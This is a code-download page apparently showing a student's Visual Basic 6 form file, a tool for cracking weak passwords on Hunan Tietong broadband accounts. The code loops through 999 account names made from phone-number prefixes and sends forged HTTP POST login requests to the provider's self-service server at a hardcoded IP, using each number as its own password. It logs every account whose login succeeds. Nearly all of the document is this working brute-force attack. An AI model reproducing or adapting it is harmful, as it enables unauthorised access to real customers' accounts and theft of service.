⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 form1.frm

📁 这是我大二时写的一个破解湖南铁通弱口令的程序。 湖南铁通宽带在05、06年时
💻 FRM
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "网页登录密码破解 湖南铁通长理特别版"
   ClientHeight    =   4755
   ClientLeft      =   150
   ClientTop       =   540
   ClientWidth     =   6240
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   4755
   ScaleWidth      =   6240
   StartUpPosition =   2  '屏幕中心
   Begin VB.Frame Frame6 
      Caption         =   "号码段"
      Height          =   1335
      Left            =   2640
      TabIndex        =   14
      Top             =   2640
      Width           =   2775
      Begin VB.OptionButton Option1 
         Caption         =   "2617"
         Height          =   180
         Index           =   3
         Left            =   1320
         TabIndex        =   19
         Top             =   720
         Width           =   975
      End
      Begin VB.OptionButton Option1 
         Caption         =   "2619"
         Height          =   180
         Index           =   2
         Left            =   1320
         TabIndex        =   17
         Top             =   240
         Width           =   975
      End
      Begin VB.OptionButton Option1 
         Caption         =   "2618"
         Height          =   180
         Index           =   1
         Left            =   360
         TabIndex        =   16
         Top             =   720
         Width           =   1215
      End
      Begin VB.OptionButton Option1 
         Caption         =   "2318"
         Height          =   180
         Index           =   0
         Left            =   360
         TabIndex        =   15
         Top             =   240
         Value           =   -1  'True
         Width           =   1215
      End
   End
   Begin VB.Frame Frame5 
      Caption         =   "进度与状态"
      Height          =   1335
      Left            =   2640
      TabIndex        =   9
      Top             =   1200
      Width           =   2055
      Begin VB.Label Label8 
         AutoSize        =   -1  'True
         Caption         =   "状态:"
         BeginProperty Font 
            Name            =   "宋体"
            Size            =   12
            Charset         =   134
            Weight          =   400
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
         Height          =   240
         Left            =   240
         TabIndex        =   13
         Top             =   960
         Width           =   720
      End
      Begin VB.Label Label1 
         AutoSize        =   -1  'True
         Caption         =   "f"
         Height          =   180
         Left            =   840
         TabIndex        =   12
         Top             =   360
         Width           =   90
      End
      Begin VB.Label Label2 
         AutoSize        =   -1  'True
         Caption         =   "s"
         Height          =   180
         Left            =   1080
         TabIndex        =   11
         Top             =   960
         Width           =   90
      End
      Begin VB.Label Label5 
         AutoSize        =   -1  'True
         Caption         =   "进度:"
         BeginProperty Font 
            Name            =   "宋体"
            Size            =   12
            Charset         =   134
            Weight          =   400
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
         Height          =   240
         Left            =   240
         TabIndex        =   10
         Top             =   360
         Width           =   600
      End
   End
   Begin VB.Frame Frame3 
      Caption         =   "破解帐号"
      Height          =   2775
      Left            =   120
      TabIndex        =   7
      Top             =   1200
      Width           =   2415
      Begin VB.TextBox Text4 
         Height          =   2415
         Left            =   120
         MultiLine       =   -1  'True
         ScrollBars      =   2  'Vertical
         TabIndex        =   8
         Top             =   240
         Width           =   2055
      End
   End
   Begin VB.Frame Frame1 
      Caption         =   "HTTP请求"
      Height          =   1095
      Left            =   4800
      TabIndex        =   5
      Top             =   1200
      Width           =   1215
      Begin VB.OptionButton Option3 
         Caption         =   "Get"
         Enabled         =   0   'False
         Height          =   255
         Left            =   120
         TabIndex        =   18
         Top             =   600
         Width           =   855
      End
      Begin VB.OptionButton Option2 
         Caption         =   "Post"
         Height          =   300
         Left            =   120
         TabIndex        =   6
         Top             =   240
         Value           =   -1  'True
         Width           =   855
      End
   End
   Begin VB.TextBox Text5 
      Height          =   3855
      Left            =   2280
      MultiLine       =   -1  'True
      TabIndex        =   4
      Top             =   5760
      Visible         =   0   'False
      Width           =   4215
   End
   Begin MSWinsockLib.Winsock Winsock1 
      Left            =   7320
      Top             =   4680
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.Frame Frame4 
      Caption         =   "表单数据"
      Height          =   1575
      Left            =   3960
      TabIndex        =   2
      Top             =   6120
      Visible         =   0   'False
      Width           =   1335
      Begin VB.TextBox Text3 
         Height          =   1095
         Left            =   120
         MultiLine       =   -1  'True
         TabIndex        =   3
         Text            =   "Form1.frx":0000
         Top             =   240
         Width           =   1095
      End
   End
   Begin VB.Frame Frame2 
      Caption         =   "发送地址"
      Height          =   855
      Left            =   120
      TabIndex        =   0
      Top             =   240
      Width           =   5895
      Begin VB.TextBox Text1 
         Enabled         =   0   'False
         Height          =   375
         Left            =   120
         TabIndex        =   1
         Text            =   "http://61.234.254.101/SelfService_OpenUser.do;jsessionid=405C8EE3D8CA23427972E905EF86DE17"
         Top             =   240
         Width           =   5535
      End
   End
   Begin VB.Label Label3 
      Alignment       =   2  'Center
      Caption         =   "请使用于合法用途"
      BeginProperty Font 
         Name            =   "宋体"
         Size            =   12
         Charset         =   134
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H000000FF&
      Height          =   495
      Left            =   120
      TabIndex        =   20
      Top             =   4440
      Width           =   5535
   End
   Begin VB.Menu BeginG 
      Caption         =   "开始"
   End
   Begin VB.Menu stopG 
      Caption         =   "停止"
   End
   Begin VB.Menu option 
      Caption         =   "选项"
   End
   Begin VB.Menu Aabout 
      Caption         =   "关于"
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim i As Integer, j As Integer
Dim Number As Integer, NumberL As Integer '电话号码
Dim Doboolean As Boolean, ExitBollean As Boolean
Dim Str_Pass As String
Dim Int_Time As Variant
Dim Str_Url As String ' 网址
Dim Str_UrlF As String ' "/" 号在字符串后的字符串
Dim Str_UrlB As String ' "/" 号在字符串后的字符串
Dim Str_UrlBeg As Integer ' "/" 号在字符串中的位置
Dim StrData As String ' 发送的数据
Dim StrData_Get As String, Strall As String, STrNumberB As String, STrNumberA As String

Private Sub Aabout_Click()
Form1.Hide
Load frmAbout
frmAbout.Show
End Sub

Private Sub BeginG_Click()
MsgBox "开始破解弱口令,请耐心等待!" & vbNewLine & "破解数目999!!!!" & vbNewLine & "破解的帐号即为 后面的电话号码!" & vbNewLine & "For Example: cs1_2333333  密码就为2333333"
For i = 0 To 3
 If Not (Option1(i).Value) Then Option1(i).Enabled = False
Next
Doboolean = True
DoEvents
BeginG.Enabled = False
Str_Url = Text1.Text
Str_Url = LTrim$(Str_Url)
Str_Url = RTrim$(Str_Url)
If InStr(1, Str_Url, "http://", 1) = 0 Then MsgBox "发送地址输入错误!": Exit Sub
Str_UrlBeg = InStr(8, Str_Url, "/")
Str_UrlF = Mid$(Str_Url, 8, Str_UrlBeg - 8)
Str_UrlB = Mid$(Str_Url, Str_UrlBeg, Len(Str_Url))
For i = 1 To 999
Label1.Caption = Str(i) & "/999"
ExitBollean = False
Winsock1.Close
Winsock1.Connect Str_UrlF, 80
Label2.Caption = "正在连接"
Int_Time = Time
Do Until Winsock1.State = 7
  DoEvents
  If Int((Time - Int_Time) * 10 ^ 5) > 10 Then MsgBox "超时": BeginG.Enabled = True: Exit Do
Loop
Do
DoEvents
Loop Until ExitBollean = True
Do
  DoEvents
  If Not (Doboolean) Then Exit For
Loop Until Int((Time - Int_Time) * 10 ^ 5) > 3
If InStr(1, Strall, "c55") = 0 And InStr(1, Strall, "bd") = 0 And InStr(1, Strall, "登录用户名错误") = 0 And InStr(1, Strall, "登录密码错误") = 0 Then
 Text4.Text = "cs1_" & STrNumberB & Number & vbNewLine & Text4.Text
  Text5.Text = Strall
End If
Text5.Text = Strall
Strall = ""
If Not (Doboolean) Then Exit For
Next
For i = 0 To 3
  If Not (Option1(i).Value) Then Option1(i).Enabled = True
Next
'BeginG.Enabled = True
End Sub


Private Sub Form_Load()
Doboolean = True
ExitBollean = False
Label1.Caption = ""
Label2.Caption = ""
STrNumberA = Option1(0).Caption
NumberL = Val(Right$(STrNumberA, 1)) * 1000
STrNumberB = Left$(STrNumberA, 3)
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock1.Close
End
End Sub


Private Sub option_Click()
MsgBox "特别版无选项设置"
End Sub

Private Sub Option1_Click(Index As Integer)
STrNumberA = Option1(Index).Caption
NumberL = Val(Right$(STrNumberA, 1)) * 1000
STrNumberB = Left$(STrNumberA, 3)
End Sub

Private Sub stopG_Click()
Doboolean = False
BeginG.Enabled = True
Label1.Caption = ""
Label2.Caption = ""
End Sub

Private Sub Winsock1_Connect()
DoEvents
Label2.Caption = "已连接上"
StrData = "" '发送的数据
StrData = StrData & "POST "
Number = NumberL + i
Str_Pass = "action=Login&loginName=" & "cs1_" & STrNumberB & Number & "&loginPwd=" & STrNumberB & Number & "&serviceTypeId=6&x=44&y=0"
StrData = StrData & "/SelfService_OpenUser.do" & " HTTP/1.1" & vbCrLf
StrData = StrData & "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint,application/msword, application/x-gsarcade-launch, */*" & vbCrLf
StrData = StrData & "Referer: http://61.234.254.101/SelfService/index.jsp" & vbCrLf
StrData = StrData & "Accept-Language: zh-cn" & vbCrLf
StrData = StrData & "Content-Type: application/x-www-form-urlencoded" & vbCrLf
StrData = StrData & "Accept-Encoding: gzip, deflate" & vbCrLf
StrData = StrData & "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Poco 0.31;TencentTraveler ; .NET CLR 1.1.4322; Alexa Toolbar)" & vbCrLf
StrData = StrData & "Host:" & Str_UrlF & vbCrLf
StrData = StrData & "Content-Length: " & Str(Len(Str_Pass)) & vbCrLf
StrData = StrData & "Connection: Keep-Alive" & vbCrLf
StrData = StrData & "Cache-Control: no-cache" & vbCrLf & vbCrLf
StrData = StrData & Str_Pass & vbCrLf
Winsock1.SendData StrData
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData StrData_Get, bytesTotal
Strall = Strall & StrData_Get
c = Len(StrData_Get)
ExitBollean = True
Int_Time = Time
End Sub


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -